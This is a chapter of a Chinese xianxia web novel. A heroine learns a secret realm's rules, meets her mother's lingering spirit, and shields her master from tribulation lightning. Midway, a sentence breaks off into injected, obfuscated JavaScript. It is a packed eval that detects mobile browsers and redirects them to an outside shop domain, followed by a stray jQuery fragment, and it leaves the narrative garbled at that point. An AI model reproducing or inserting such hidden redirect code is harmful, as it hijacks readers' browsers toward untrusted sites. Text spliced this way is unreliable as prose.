端木溪目光绕过阿云看向他:“找我什么事?”
“这话说的,没事就不能找你吗?”云清箫越过阿云走到她面前,上下打量了一番:“伤好全了?”
端木溪:“嗯。”
云清箫:“后天我们和长老、弟子们一同前往上古秘境,我来此便是为你讲解秘境规则的。”
“进去后每人身上会出现令牌,里面的妖兽等级划分为一阶、二阶、三阶和四阶,每杀一个会有相应的灵石数量显示在外面水境上,每阶妖兽积分是翻两倍,比如一阶是十,那二阶就是二十,但四阶不同,四阶是一百。”
“秘境会压制修为,不管什么修为进去通通被压到金丹初期,你我都是金丹后期,压制下来不会比他们修为高的难受。”
“秘境乃天地形成,所有仙、魔、妖、都能进去。”
云清箫看向阿云:“为了防止你帮她,对别的参赛者不公,师妹进去后,你便跟在师尊身边。”
阿云点了点头:“知道了。”
云清箫:“师妹,此去不可再像上次那样不顾一切,惹得一身伤。”
“搞得你好像不是一身伤似的,”端木溪毫不客气的怼了回去。
云清箫摸了摸鼻子,嘴硬道:“师兄的经验比你丰富。”
端木溪撇了撇嘴:“那经验丰富的你怎么也一身伤?”
云清箫被怼的无言以对,只好看向阿云:“你管管她啊,一点都不懂的尊敬师兄。”
阿云站到端木溪身前:“我觉得她说的没错。”
“算了,我大人有大量,不与你们俩计较,我还要通知别的弟子,就先走了,”云清箫看他们一唱一和,无奈转身,挥了挥手便匆忙离开。
阿云打开衣柜,从里面拿出几件衣服:“进去要待好几天,要不要我下山买点东西给你备着?”
端木溪走到床上坐下,双腿交叉在一起,闭眼打坐:“随你。”
阿云默默拿起天灾离开。
皇甫昭刚醒就看到一个身穿黑袍的人拿走女儿的剑:“他是你的道侣?”
端木溪:“我与他是命定之缘,但他不是我道侣,以后也不会是。”
皇甫昭闻言一愣,随即轻笑:“不喜欢他?”
端木溪:“母亲,我没有什么特殊嗜好。”
皇甫昭:“什么意思?”
“您没看到他是一具人骨吗?”端木溪无奈道。
“你的命定之人怎会如此,”皇甫昭彻底坐不住了,身影出现在她面前:“你讨厌他吗?讨厌的话,母亲去杀了他。”
端木溪吓得一激灵,连忙开口劝说:“母亲,他的身世比较复杂,当时在大殿只叫了师尊一声,就引来了天雷。”
皇甫昭不屑一顾:“那又如何。”
端木溪转移话题:“母亲,您还记得杀您的人是谁吗?”
“怎么会不记得,他就是……”皇甫昭的声音突然消失,她不可置信的咳嗽了几声,反应过来,嘲讽的笑出声:“真是好样的。”
端木溪慌张的上前扶她,没想到手臂直接穿过了她的身体。
皇甫昭也不纠结刚才的事了,连忙开口安慰女儿:“母亲没事。”
端木溪小心询问:“他的名字是说不出口吗?”
“嗯,天道在护他,”皇甫昭点了点头,眼中闪过一丝杀意。
端木溪瞬间捋清楚所有事:“所以他和天道是一伙的,怪不得师尊杀不死他。”
皇甫昭坐在床边,为她叙说着当年的事:“当年我出生使干旱已久的大地迎来生机,父皇下令,把出生没几天的我封为太女,可好景不长,十五岁时,天道气运不足快要殒落时,找到敌国,让狐妖杀死我,抢夺气运。”
“但你外祖母她们选择替我去死,天道得到喘息这才停手,但它不会因此善罢甘休,所以它在我生下你身体正虚弱时,趁虚而入。”
“你父亲神识中有一个好友叫系统,借他的手送走你,但最后还是被天道识破,这才让你的灵魂撕成两半。”
端木溪愣住,她看了那么多年的小说,对于系统这号人物熟悉的不能再熟悉。
“木溪,你怎么了?”皇甫昭看她愣在原地也不说话,怕是被刚才的话打击到了,担忧的开口唤她。
端木溪忽然道:“那个叫系统的人还在吗?”
皇甫昭摇摇头:“母亲没出过秘境,并不清楚你父亲他们的状况。”
“好吧,”端木溪原本想着如果能联系到系统,叫它定位那仇人的位置,但现在线索断了,只好作罢。
皇甫昭目光落到她头上的簪子,回想起来一些事:“见过沈雪见了?”
“差点忘了,母亲您想见沈老吗?”端木溪懊悔的拍了拍脑袋。
皇甫昭也想见见她那捣蛋的弟弟,便笑着点了点头。
端木溪:“您先回玉佩里。”
“好,”皇甫昭化作一缕青丝钻了进去。
…………
“沈老?沈老您在吗?”端木溪走进天书阁,在每个角落都唤了一遍也没看到人,就在她准备离去时,身后突然传来一道声音。
“找我何事?”沈雪见穿着白衣从暗处缓缓走出。
端木溪摘掉腰间的弟子令牌,丢了过去:“有人想见你。”
沈雪见伸手接过令牌,正打算开口说话时,眼孔突然收缩。
“好久不见,”皇甫昭的身影出现在他面前。
沈雪见不可置信:“姐姐?”
端木溪想到还有一人想见母亲,便悄悄离开。
“弟子向您保证,这一趟绝对值,”端木溪拉着她站在剑上,信誓旦旦地拍了拍胸脯。
月芷无奈道:“什么事非要我去?”
端木溪回头朝她笑了笑:“保密。”
“今日是我心魔发作的日子,你不怕我半路上……”月芷一双凤眸眯起,假装吓唬她,好让她说出非要带自己出来的原因。
端木溪自信一笑:“您就算伤自己都不会伤害我的。”
月芷挑了挑眉:“这么相信我?”
“因为您在意我啊,”端木溪带着她落地,用力推开天书阁沉重的大门。
月芷委婉提醒:“其实这门是自动开的。”
端木溪推门的动作停下,僵硬的回头。
“怎么了?”沈雪见从里面出来,看到月芷的身影出现在这,心下了然:“师姐,她在里面。”
月芷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17725717|208103||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
疑惑不解:“谁?”
“师尊,是我,”皇甫昭从门后探出头,朝她露出灿烂的笑容。
月芷愣在原地,眉间的心魔印现出,慢慢褪去。
沈雪见惊讶道:“师姐,你的心魔消失了?”
月芷感受到体内的魔气消散,如释重负的松了口气。
就在这时,原本晴朗的天空突然变成黑云。
月芷抬头看去:“我元婴期一直没渡的天雷下来了,你们几个离我远点,当心伤到。”
沈雪见拎起端木溪往屋里去。
事到如今,月芷也不好再找地方,只好唤出本命剑面对。
轰隆———
端木溪从门后探出头看去,只见粗壮的天雷劈下,直直的落在月芷身上。
月芷用剑挡住,嘴角流出几滴血。
轰隆——
数不清的天雷朝她劈下。
“师尊!”皇甫昭下意识想冲过去,但却被身边的人施法定住。
沈雪见吓得出了一身冷汗:“你只是一缕残魂,上去添什么乱。”
月芷听到声音,没回头看也知道发生了什么,气得大喊:“皇甫昭!给我老实待在那。”
皇甫昭握紧拳头,抬头看向天雷。
天道,早晚有一天,你会为你所做的事付出代价的!
闻声赶来的久吋和沈翊言,看着面前的场景,忍不住皱眉。
久吋:“天雷怎么会突然降下?”
沈翊言突然瞪大眼睛,不可置信地指着不远处半透明的人:“她她她。”
久吋朝他指的方向看去。
皇甫昭挥了挥手:“师叔们好。”
久吋看向沈雪见,示意他解释。
沈雪见默默挪了挪身体,把身后的端木溪露出来,意思很明确。
端木溪只好把自己怎么遇到母亲的事说了出来。
久吋和沈翊言闻言,同时看向月芷。
沈翊言为月芷高兴:“心魔已除,真是可喜可贺。”
在场的其余四人,没一个理他的,都在看月芷。
轰隆---
最后一道天雷降下,月芷之前因心魔导致整个人已无力反抗,只好无奈回头,依依不舍的看向他们。
就在久吋和沈翊言准备替她挡下时,一道身影比他们先一步。
端木溪替她挡下了天雷:“弟子不会让您死的。”
如果再进一人,天雷的威慑便会更大,久吋和沈翊言怕他们进去了,端木溪会出事,只能眼巴巴的看着。
“要是天灾在就好了,”端木溪无奈之下,只好唤出青浅。
“青浅,出来助我!”
青浅原本还在沉睡,听到小主人的声音,立马从里面出来,替她挡着。
一人二剑咬紧牙关和天雷僵持不下,最终天雷带着黑云消散。
“噗,”端木溪把咽不下去的血吐了出来,怕身后的长辈担心,只好缓和气氛:“呸呸呸,一股铁锈味。”
皇甫昭飞了过去,伸出手想扶她,但手却穿过了她的身体,无奈之下只好看向久吋:“师叔,快救救我的孩子。”
月芷坐在地上,傻傻的看着被围在中间的端木溪。